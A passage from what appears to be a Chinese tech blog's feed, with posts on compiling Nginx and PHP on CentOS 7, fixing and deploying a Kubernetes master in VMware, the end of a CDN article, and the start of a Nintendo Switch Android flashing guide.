title="结语"></a>结语</h1><p>在互联网高速发展的今天，CDN技术的进步和应用将继续推动网络性能的提升，满足用户对高速、高效内容交付的需求。随着技术的不断创新和发展，我们相信CDN将继续发挥重要作用，为构建更加智能、高效的互联网世界贡献力量。期待CDN技术在未来的发展中继续发挥重要作用，为用户和企业带来更优质的网络体验和服务。</p><p>感谢阅读，喜欢的话可以的话能帮忙点个赞吗</p><p><strong>参考文献</strong><br><a href="https://www.zhihu.com/question/357704749/answer/2176887928">12306是不是能抗住上亿级的高并发，背后它如何承受的？ - 知乎 (zhihu.com)</a><br><a href="https://www.cnblogs.com/crazymakercircle/p/14978513.html">CDN图解（秒懂 + 史上最全） - 疯狂创客圈 - 博客园 (cnblogs.com)</a><br><a href="https://cloud.tencent.com/document/product/570/8645">全站加速网络 产品概述-产品简介-文档中心-腾讯云 (tencent.com)</a><br><a href="https://www.cloudflare-cn.com/learning/cdn/what-is-a-cdn/">什么是cdn_CDN的工作原理_使用CDN服务器的好处 | Cloudflare (cloudflare-cn.com)</a></p><p>尊重原创，允许规范转载。如需转载请标明来自作者：<a href="https://blog.inekoxia.com/index.php/about.html">@JiuXia2025</a> 以及本文的<a href="https://blog.inekoxia.com/index.php/archives/622.html">原文链接</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;前言-CDN的诞生&quot;&gt;&lt;a href=&quot;#前言-CDN的诞生&quot; class=&quot;headerlink&quot; title=&quot;前言-CDN的诞生&quot;&gt;&lt;/a&gt;前言-CDN的诞生&lt;/h1&gt;&lt;p&gt;当谈论互联网速度和性能时，CDN是一个不可或缺的元素。在当今数字化时代，人们对网站和</summary>
      
    
    
    
    <category term="运维" scheme="https://blog.inekoxia.com/categories/%E8%BF%90%E7%BB%B4/"/>
    
    
  </entry>
  
  <entry>
    <title>CentOS7下的Nginx+PHP基础环境编译安装</title>
    <link href="https://blog.inekoxia.com/index.php/archives/603.html"/>
    <id>https://blog.inekoxia.com/index.php/archives/603.html</id>
    <published>2024-04-26T04:15:00.000Z</published>
    <updated>2025-11-27T04:02:54.546Z</updated>
    
    <content type="html"><![CDATA[<h1 id="一、编译安装Nginx"><a href="#一、编译安装Nginx" class="headerlink" title="一、编译安装Nginx"></a>一、编译安装Nginx</h1><h2 id="下载Nginx"><a href="#下载Nginx" class="headerlink" title="下载Nginx"></a>下载Nginx</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">yum update     <span class="token comment">#更新软件包列表</span>yum <span class="token function">install</span> <span class="token function">wget</span>    <span class="token comment">#安装wget下载工具</span><span class="token function">wget</span> http://nginx.org/download/nginx-1.18.0.tar.gz  <span class="token comment">#下载指定版本的Nginx</span><span class="token function">tar</span> <span class="token parameter variable">-zxvf</span> nginx-1.18.0.tar.gz  <span class="token comment">#解压文件</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><h2 id="编译"><a href="#编译" class="headerlink" title="编译"></a>编译</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">cd</span> ./cd nginx-1.18.0<span class="token comment">#配置安装项</span>./configure <span class="token parameter variable">--prefix</span><span class="token operator">=</span>/usr/local/nginx <span class="token punctuation">\</span>--with-stream <span class="token punctuation">\</span>--with-stream_ssl_module <span class="token punctuation">\</span>--with-http_ssl_module <span class="token punctuation">\</span>--with-http_v2_module <span class="token punctuation">\</span>--with-threads<span class="token comment">#安装</span><span class="token function">make</span> <span class="token operator">&amp;&amp;</span> <span class="token function">make</span> <span class="token function">install</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="加入链接命令"><a href="#加入链接命令" class="headerlink" title="加入链接命令"></a>加入链接命令</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">ln</span> <span class="token parameter variable">-s</span> /usr/local/nginx/sbin/nginx /usr/local/bin/nginx<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2 id="一些常用命令"><a href="#一些常用命令" class="headerlink" title="一些常用命令"></a>一些常用命令</h2><p>启动Nginx:<code>nginx</code><br>通过配置文件启动：<code>nginx -c /usr/local/nginx/conf/nginx.conf</code><br>强制关闭：<code>nginx -s stop</code><br>关闭：<code>nginx -s quit</code><br>重载配置：<code>nginx -s reload</code></p><p>使用命令启动Nginx，Nginx默认监听80端口，浏览器访问服务器的IP地址即可显示运行成功的网页界面，如下图<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/3275393411.webp" alt="2024-04-26T11:44:35.webp"></p><h2 id="设置开机自启动"><a href="#设置开机自启动" class="headerlink" title="设置开机自启动"></a>设置开机自启动</h2><p>官方文档中给到了一个示例脚本，把它加入到<code>/etc/init.d/nginx</code>里<br>示例脚本：<a href="https://www.nginx.com/resources/wiki/start/topics/examples/redhatnginxinit/">https://www.nginx.com/resources/wiki/start/topics/examples/redhatnginxinit/</a></p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">vi</span> /etc/init.d/nginx<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>脚本里把Nginx指向到配置文件和可执行程序，wq保存退出</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token assign-left variable">nginx</span><span class="token operator">=</span><span class="token string">"/usr/local/nginx/sbin/nginx"</span><span class="token assign-left variable">NGINX_CONF_FILE</span><span class="token operator">=</span><span class="token string">"/usr/local/nginx/conf/nginx.conf"</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><h3 id="使用chkconfig设置开机自启"><a href="#使用chkconfig设置开机自启" class="headerlink" title="使用chkconfig设置开机自启"></a>使用chkconfig设置开机自启</h3><p>授予权限：<code>chmod +x /etc/init.d/nginx</code><br>将Nginx添加到管理列表：<code>chkconfig --add /etc/init.d/nginx</code><br>设置开机启动：<code>chkconfig nginx on</code><br>看一下列表里面加入了就搞定了：<code>chkconfig --list</code></p><h1 id="二、编译安装php"><a href="#二、编译安装php" class="headerlink" title="二、编译安装php"></a>二、编译安装php</h1><h2 id="首先安装依赖"><a href="#首先安装依赖" class="headerlink" title="首先安装依赖"></a>首先安装依赖</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">yum <span class="token parameter variable">-y</span> <span class="token function">install</span> libpng libpng-develyum <span class="token parameter variable">-y</span> <span class="token function">install</span> openssl-develyum <span class="token parameter variable">-y</span> <span class="token function">install</span> <span class="token function">bzip2</span> bzip2-develyum <span class="token parameter variable">-y</span> <span class="token function">install</span> gccyum <span class="token parameter variable">-y</span> <span class="token function">install</span> libxml2-develyum <span class="token parameter variable">-y</span> <span class="token function">install</span> libzip<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="下载指定版本并解压"><a href="#下载指定版本并解压" class="headerlink" title="下载指定版本并解压"></a>下载指定版本并解压</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">wget</span> https://www.php.net/distributions/php-7.3.19.tar.gz<span class="token function">tar</span> <span class="token parameter variable">-zxvf</span> php-7.3.19.tar.gz<span class="token builtin class-name">cd</span> ./php-7.3.19/<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><h2 id="编译前设置"><a href="#编译前设置" class="headerlink" title="编译前设置"></a>编译前设置</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment">#设置目录</span>./configure <span class="token parameter variable">--prefix</span><span class="token operator">=</span>/usr/local/php73 --enable-fpm<span class="token comment">#加入常用扩展</span>./configure <span class="token parameter variable">--prefix</span><span class="token operator">=</span>/usr/local/php73 --with-curl --with-mysqli --with-openssl --with-pdo-mysql --enable-fpm<span class="token comment">#开始编译</span><span class="token function">make</span><span class="token comment">#编译完成后安装</span><span class="token function">make</span> <span class="token function">install</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="安装后配置"><a href="#安装后配置" class="headerlink" title="安装后配置"></a>安装后配置</h2><p>回到编译目录中执行以下：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">加入配置文件<span class="token function">cp</span> ./php.ini-production /usr/local/php73/php.ini<span class="token function">cp</span> ./sapi/fpm/init.d.php-fpm /etc/init.d/php-fpm加入可执行权限<span class="token function">chmod</span> +x /etc/init.d/php-fpm 加入php-fpm配置文件<span class="token function">cp</span> /usr/local/php73/etc/php-fpm.conf.default /usr/local/php73/etc/php-fpm.conf<span class="token function">cp</span> /usr/local/php73/etc/php-fpm.d/www.conf.default /usr/local/php73/etc/php-fpm.d/www.conf<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>检验是否安装完成：<code>ps -ef|grep php-fpm</code><br>启动php-fpm：<code>/etc/init.d/php-fpm start</code><br>加入开机自启动列表：<code>chkconfig --add php-fpm</code></p><h1 id="三、Nginx引入php模块"><a href="#三、Nginx引入php模块" class="headerlink" title="三、Nginx引入php模块"></a>三、Nginx引入php模块</h1><p>打开web配置文件：<code>vi /usr/local/nginx/conf/nginx.conf</code><br>添加以下：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">location ~ <span class="token punctuation">\</span>.php$ <span class="token punctuation">&#123;</span>                root /usr/local/nginx/html<span class="token punctuation">;</span>                 fastcgi_pass <span class="token number">127.0</span>.0.1:8800<span class="token punctuation">;</span>                fastcgi_index index.php<span class="token punctuation">;</span>                fastcgi_param SCRIPT_FILENAME <span class="token variable">$document_root</span><span class="token variable">$fastcgi_script_name</span><span class="token punctuation">;</span>                include fastcgi_params<span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>这里我绑定的是8800端口，浏览器访问IP:8800，可以看到php已经成功加载<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/3609301554.webp" alt="phpinfo"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;一、编译安装Nginx&quot;&gt;&lt;a href=&quot;#一、编译安装Nginx&quot; class=&quot;headerlink&quot; title=&quot;一、编译安装Nginx&quot;&gt;&lt;/a&gt;一、编译安装Nginx&lt;/h1&gt;&lt;h2 id=&quot;下载Nginx&quot;&gt;&lt;a href=&quot;#下载Nginx&quot; c</summary>
      
    
    
    
    <category term="运维" scheme="https://blog.inekoxia.com/categories/%E8%BF%90%E7%BB%B4/"/>
    
    
  </entry>
  
  <entry>
    <title>k8s环境下master节点NotReady解决小记</title>
    <link href="https://blog.inekoxia.com/index.php/archives/556.html"/>
    <id>https://blog.inekoxia.com/index.php/archives/556.html</id>
    <published>2024-04-23T21:20:00.000Z</published>
    <updated>2025-11-27T04:02:54.546Z</updated>
    
    <content type="html"><![CDATA[<p>master执行：<code>kubectl get node</code> 查看状态<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/1074101629.webp" alt="2024-04-23T08:34:57.webp"><br>可以看到coredns是Pending状态，master是NotReady<br>master安装cailo网络插件</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">curl</span> https://docs.projectcalico.org/v3.20/manifests/calico.yaml <span class="token parameter variable">-O</span>kubectl apply <span class="token parameter variable">-f</span> calico.yaml<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>安装成功重启服务，master已经回归了正常的Ready状态<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/1097889789.webp" alt="2024-04-23T08:36:53.webp"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;master执行：&lt;code&gt;kubectl get node&lt;/code&gt; 查看状态&lt;br&gt;&lt;img src=&quot;https://webstatic.9xia.top/usr/uploads/2024/04/1074101629.webp&quot; alt=&quot;2024-04-23T</summary>
      
    
    
    
    <category term="运维" scheme="https://blog.inekoxia.com/categories/%E8%BF%90%E7%BB%B4/"/>
    
    
    <category term="云计算" scheme="https://blog.inekoxia.com/tags/%E4%BA%91%E8%AE%A1%E7%AE%97/"/>
    
    <category term="容器云" scheme="https://blog.inekoxia.com/tags/%E5%AE%B9%E5%99%A8%E4%BA%91/"/>
    
  </entry>
  
  <entry>
    <title>VM虚拟机环境下部署k8s-master</title>
    <link href="https://blog.inekoxia.com/index.php/archives/518.html"/>
    <id>https://blog.inekoxia.com/index.php/archives/518.html</id>
    <published>2024-04-22T20:36:00.000Z</published>
    <updated>2025-11-27T04:02:54.546Z</updated>
    
    <content type="html"><![CDATA[<h1 id="准备虚拟机环境"><a href="#准备虚拟机环境" class="headerlink" title="准备虚拟机环境"></a>准备虚拟机环境</h1><p>VMWare WorkStation Pro下载：<a href="https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html">链接</a><br>CentOS7镜像（阿里云源）：<a href="https://mirrors.aliyun.com/centos/7.9.2009/isos/x86_64/">镜像链接</a></p><h2 id="VM网络设置"><a href="#VM网络设置" class="headerlink" title="VM网络设置"></a>VM网络设置</h2><ul><li>master节点IP： 172.16.0.3</li><li>node01节点IP：172.16.0.4</li><li>node02节点IP：172.16.0.5</li><li>子网掩码：255.255.0.0</li><li>网关：172.16.0.2</li><li>DNS:114.114.114.114</li></ul><h3 id="设置虚拟网卡"><a href="#设置虚拟网卡" class="headerlink" title="设置虚拟网卡"></a>设置虚拟网卡</h3><p>首先打开顶栏编辑-虚拟网络编辑器改下VMnet8的NAT网卡<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/2160135794.webp" alt="图片1.webp"><br>子网172.16.0.0，子网掩码255.255.0.0</p><h2 id="创建master虚拟机"><a href="#创建master虚拟机" class="headerlink" title="创建master虚拟机"></a>创建master虚拟机</h2><p><img src="https://webstatic.9xia.top/usr/uploads/2024/04/1742645872.webp" alt="图片2.webp"><br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/2025377941.webp" alt="图片3.webp"><br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/2886854589.webp" alt="图片4.webp"><br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/3441009241.webp" alt="图片5.webp"><br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/1708553999.webp" alt="图片6.webp"><br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/1915505336.webp" alt="图片7.webp"><br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/3678096635.webp" alt="图片8.webp"><br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/277282548.webp" alt="图片9.webp"><br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/1432922798.webp" alt="图片10.webp"><br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/2824752887.webp" alt="图片11.webp"><br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/622329937.webp" alt="图片12.webp"><br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/2958393367.webp" alt="图片13.webp"><br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/3693091388.webp" alt="图片14.webp"><br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/2377915387.webp" alt="图片15.webp"></p><h3 id="安装CentOS7"><a href="#安装CentOS7" class="headerlink" title="安装CentOS7"></a>安装CentOS7</h3><p>创建完安装系统，这里我选CentOS7镜像<br> <img src="https://webstatic.9xia.top/usr/uploads/2024/04/756789864.webp" alt="图片16.webp"><br>挂载安装盘<br> <img src="https://webstatic.9xia.top/usr/uploads/2024/04/2109527473.webp" alt="图片17.webp"><br> <img src="https://webstatic.9xia.top/usr/uploads/2024/04/2136514392.webp" alt="图片18.webp"><br>保存，开机<br>过下开机引导<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/849312916.webp" alt="图片19.webp"><br> <img src="https://webstatic.9xia.top/usr/uploads/2024/04/2894906322.webp" alt="图片20.webp"><br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/3882358508.webp" alt="图片21.webp"><br>配置静态IP<br> <img src="https://webstatic.9xia.top/usr/uploads/2024/04/2537272876.webp" alt="图片22.webp"><br> <img src="https://webstatic.9xia.top/usr/uploads/2024/04/4142399199.webp" alt="图片23.webp"><br>配网好了就可以开始安装，设置root密码<br> <img src="https://webstatic.9xia.top/usr/uploads/2024/04/3665336668.webp" alt="图片24.webp"><br>安装完后关闭虚拟机<br>进入虚拟机设置里关掉光驱的安装镜像，开机<br>输入<code>ip addr</code>看看IP对不对<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/4067935392.webp" alt="图片25.webp"></p><h1 id="安装docker"><a href="#安装docker" class="headerlink" title="安装docker"></a>安装docker</h1><h3 id="移除原来的docker"><a href="#移除原来的docker" class="headerlink" title="移除原来的docker"></a>移除原来的docker</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">yum remove <span class="token function">docker</span> <span class="token punctuation">\</span>              docker-client <span class="token punctuation">\</span>              docker-client-latest <span class="token punctuation">\</span>              docker-common <span class="token punctuation">\</span>              docker-latest <span class="token punctuation">\</span>              docker-latest-logrotate <span class="token punctuation">\</span>              docker-logrotate <span class="token punctuation">\</span>              docker-engine<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="设置yum为阿里云源"><a href="#设置yum为阿里云源" class="headerlink" title="设置yum为阿里云源"></a>设置yum为阿里云源</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> yum <span class="token function">install</span> <span class="token parameter variable">-y</span> yum-utils<span class="token function">sudo</span> yum-config-manager <span class="token punctuation">\</span>--add-repo <span class="token punctuation">\</span>http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><h3 id="安装docker-1"><a href="#安装docker-1" class="headerlink" title="安装docker"></a>安装docker</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">yum <span class="token function">install</span> <span class="token parameter variable">-y</span> docker-ce-20.10.7 docker-ce-cli-20.10.7  containerd.io-1.4.6systemctl <span class="token builtin class-name">enable</span> <span class="token function">docker</span> <span class="token parameter variable">--now</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://webstatic.9xia.top/usr/uploads/2024/04/4139862439.webp" alt="20240423111749.webp"></p><h3 id="配置加速"><a href="#配置加速" class="headerlink" title="配置加速"></a>配置加速</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">mkdir</span> <span class="token parameter variable">-p</span> /etc/docker       <span class="token comment"># 创建文件夹</span><span class="token function">sudo</span> <span class="token function">tee</span> /etc/docker/daemon.json <span class="token operator">&lt;&lt;-</span><span class="token string">'EOF'&#123;  "registry-mirrors": ["https://82m9ar63.mirror.aliyuncs.com"],     "exec-opts": ["native.cgroupdriver=systemd"],  "log-driver": "json-file",  "log-opts": &#123;    "max-size": "100m"  &#125;,  "storage-driver": "overlay2"&#125;EOF</span><span class="token function">sudo</span> systemctl daemon-reload<span class="token function">sudo</span> systemctl restart <span class="token function">docker</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>docker安装完成！</p><h1 id="安装kubeadm"><a href="#安装kubeadm" class="headerlink" title="安装kubeadm"></a>安装kubeadm</h1><h2 id="部署基础环境"><a href="#部署基础环境" class="headerlink" title="部署基础环境"></a>部署基础环境</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 将 SELinux 设置为 permissive 模式</span><span class="token function">sudo</span> setenforce <span class="token number">0</span><span class="token function">sudo</span> <span class="token function">sed</span> <span class="token parameter variable">-i</span> <span class="token string">'s/^SELINUX=enforcing$/SELINUX=permissive/'</span> /etc/selinux/config<span class="token comment">#swap关闭</span>swapoff <span class="token parameter variable">-a</span>  <span class="token function">sed</span> <span class="token parameter variable">-ri</span> <span class="token string">'s/.*swap.*/#&amp;/'</span> /etc/fstab<span class="token comment">#允许 iptables 检查桥接流量</span><span class="token function">cat</span> <span class="token operator">&lt;&lt;</span><span class="token string">EOF<span class="token bash punctuation"> <span class="token operator">|</span> <span class="token function">sudo</span> <span class="token function">tee</span> /etc/modules-load.d/k8s.conf</span>br_netfilterEOF</span><span class="token function">cat</span> <span class="token operator">&lt;&lt;</span><span class="token string">EOF<span class="token bash punctuation"> <span class="token operator">|</span> <span class="token function">sudo</span> <span class="token function">tee</span> /etc/sysctl.d/k8s.conf</span>net.bridge.bridge-nf-call-ip6tables = 1net.bridge.bridge-nf-call-iptables = 1EOF</span><span class="token function">sudo</span> <span class="token function">sysctl</span> <span class="token parameter variable">--system</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="安装kubelet、kubeadm、kubectl-三大件"><a href="#安装kubelet、kubeadm、kubectl-三大件" class="headerlink" title="安装kubelet、kubeadm、kubectl 三大件"></a>安装kubelet、kubeadm、kubectl 三大件</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 配置k8s下载地址</span><span class="token function">cat</span> <span class="token operator">&lt;&lt;</span><span class="token string">EOF<span class="token bash punctuation"> <span class="token operator">|</span> <span class="token function">sudo</span> <span class="token function">tee</span> /etc/yum.repos.d/kubernetes.repo</span>[kubernetes]name=Kubernetesbaseurl=http://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x86_64enabled=1gpgcheck=0repo_gpgcheck=0gpgkey=http://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg   http://mirrors.aliyun.com/kubernetes/yum/doc/rpm-package-key.gpgexclude=kubelet kubeadm kubectlEOF</span><span class="token function">sudo</span> yum <span class="token function">install</span> <span class="token parameter variable">-y</span> kubelet-1.20.9 kubeadm-1.20.9 kubectl-1.20.9 <span class="token parameter variable">--disableexcludes</span><span class="token operator">=</span>kubernetes<span class="token comment"># 启动kubelet</span><span class="token function">sudo</span> systemctl <span class="token builtin class-name">enable</span> <span class="token parameter variable">--now</span> kubelet<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="拉取镜像"><a href="#拉取镜像" class="headerlink" title="拉取镜像"></a>拉取镜像</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 下载镜像</span><span class="token function">sudo</span> <span class="token function">tee</span> ./images.sh <span class="token operator">&lt;&lt;-</span><span class="token string">'EOF'#!/bin/bashimages=(kube-apiserver:v1.20.9kube-proxy:v1.20.9kube-controller-manager:v1.20.9kube-scheduler:v1.20.9coredns:1.7.0etcd:3.4.13-0pause:3.2)for imageName in $&#123;images[@]&#125; ; dodocker pull registry.cn-hangzhou.aliyuncs.com/lfy_k8s_images/$imageNamedoneEOF</span>   <span class="token function">chmod</span> +x ./images.sh <span class="token operator">&amp;&amp;</span> ./images.sh<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="https://webstatic.9xia.top/usr/uploads/2024/04/2378184473.webp" alt="20240423151309.webp"></p><h2 id="初始化matser主节点"><a href="#初始化matser主节点" class="headerlink" title="初始化matser主节点"></a>初始化matser主节点</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment">#所有机器添加master域名映射，以下IP地址需要修改为自己的</span><span class="token builtin class-name">echo</span> <span class="token string">"172.16.0.3  cluster-endpoint"</span> <span class="token operator">>></span> /etc/hosts     <span class="token comment"># master节点   每个节点都需要执行，让每个节点知道master节点</span><span class="token comment">#初始化主节点（只需在master节点运行）</span>kubeadm init <span class="token punctuation">\</span>--apiserver-advertise-address<span class="token operator">=</span><span class="token number">172.16</span>.0.3 <span class="token punctuation">\</span>--control-plane-endpoint<span class="token operator">=</span>cluster-endpoint <span class="token punctuation">\</span>--image-repository registry.cn-hangzhou.aliyuncs.com/lfy_k8s_images <span class="token punctuation">\</span>--kubernetes-version v1.20.9 <span class="token punctuation">\</span>--service-cidr<span class="token operator">=</span><span class="token number">10.96</span>.0.0/16 <span class="token punctuation">\</span>--pod-network-cidr<span class="token operator">=</span><span class="token number">192.168</span>.0.0/16<span class="token comment"># 以下是各个命令的备注不需要执行</span>kubeadm init <span class="token punctuation">\</span>--apiserver-advertise-address<span class="token operator">=</span><span class="token number">172.16</span>.0.4 <span class="token punctuation">\</span>   <span class="token comment"># master 节点ip</span>--control-plane-endpoint<span class="token operator">=</span>cluster-endpoint <span class="token punctuation">\</span>  <span class="token comment"># 域名值</span>--image-repository registry.cn-hangzhou.aliyuncs.com/lfy_k8s_images <span class="token punctuation">\</span>   <span class="token comment"># 镜像仓库</span>--kubernetes-version v1.20.9 <span class="token punctuation">\</span>  <span class="token comment"># k8s 版本 </span>--service-cidr<span class="token operator">=</span><span class="token number">10.96</span>.0.0/16 <span class="token punctuation">\</span>     <span class="token comment"># 网络范围  一般不用改   网络范围不重叠</span>--pod-network-cidr<span class="token operator">=</span><span class="token number">192.168</span>.0.0/16   <span class="token comment"># k8s 给pod分配网络ip的范围   一般不用改</span><span class="token comment">#所有网络范围不重叠</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>我的运行结果，出现这个就说明master初始化成功了<br>根据上述运行结果的提示可以进行下一步加入node子节点的操作<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/1421249068.webp" alt="2024-04-23T03:38:58.webp"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;准备虚拟机环境&quot;&gt;&lt;a href=&quot;#准备虚拟机环境&quot; class=&quot;headerlink&quot; title=&quot;准备虚拟机环境&quot;&gt;&lt;/a&gt;准备虚拟机环境&lt;/h1&gt;&lt;p&gt;VMWare WorkStation Pro下载：&lt;a href=&quot;https://www.vmwa</summary>
      
    
    
    
    <category term="运维" scheme="https://blog.inekoxia.com/categories/%E8%BF%90%E7%BB%B4/"/>
    
    
    <category term="云计算" scheme="https://blog.inekoxia.com/tags/%E4%BA%91%E8%AE%A1%E7%AE%97/"/>
    
    <category term="容器云" scheme="https://blog.inekoxia.com/tags/%E5%AE%B9%E5%99%A8%E4%BA%91/"/>
    
  </entry>
  
  <entry>
    <title>Switch玩机教程 刷入类原生exTHmUI</title>
    <link href="https://blog.inekoxia.com/index.php/archives/565.html"/>
    <id>https://blog.inekoxia.com/index.php/archives/565.html</id>
    <published>2024-02-04T22:34:00.000Z</published>
    <updated>2025-11-27T04:02:54.546Z</updated>
    
    <content type="html"><![CDATA[<p>近几天打包了个exTHmUI，因为Switch的分区表和手机的不一样所以没写刷机脚本，我打包的是镜像包不是卡刷包跟上篇图文LineageOS刷入方式不同，特意写了篇图文来介绍详细的刷入流程</p><h1 id="一、刷前的准备"><a href="#一、刷前的准备" class="headerlink" title="一、刷前的准备"></a>一、刷前的准备</h1><p>exTHmUI刷机包<br>JX-Bootloader.7z（用于启动twrp）<br>以上文件我都打包在网盘链接里了，ROM详细介绍见：查看链接</p><h1 id="二、对安卓系统进行分区"><a href="#二、对安卓系统进行分区" class="headerlink" title="二、对安卓系统进行分区"></a>二、对安卓系统进行分区</h1><p>启动Switch进入hetake引导界面<br>如果你之前刷了LineageOS那么你就不需要分区了，直接进SD UMS拷包点刷写Android，就可以进TWRP开刷<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/380657918.webp" alt="2024-04-26T06:35:25.webp"></p><p>点击上方工具-SD卡分区管理<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/1638074440.webp" alt="2024-04-26T06:35:56.webp"></p><p>分好合适的空间后点击下一步<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/1026655365.webp" alt="2024-04-26T06:36:06.webp"></p><p>分好区了点击SD UMS，用数据线将Switch连接电脑<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/4161821092.webp" alt="2024-04-26T06:36:17.webp"></p><p>删除原有的switchroot文件夹<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/537219053.webp" alt="2024-04-26T06:36:29.webp"></p><p>把刷机包和TWRP整合包先解压到电脑里<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/3549765879.webp" alt="2024-04-26T06:36:37.webp"></p><p>再把这三个文件夹拖进去<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/2042363984.webp" alt="2024-04-26T06:36:45.webp"></p><p>有重复就覆盖<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/2490837184.webp" alt="2024-04-26T06:36:54.webp"></p><p>电脑上弹出UMS再拔数据线<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/4050043215.webp" alt="2024-04-26T06:37:03.webp"><br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/2064964824.webp" alt="2024-04-26T06:37:13.webp"></p><p>然后点击刷写Android，就可以进入TWRP了<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/480353019.webp" alt="2024-04-26T06:37:22.webp"></p><p>点击确认<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/4221947736.webp" alt="2024-04-26T06:37:33.webp"><br><img 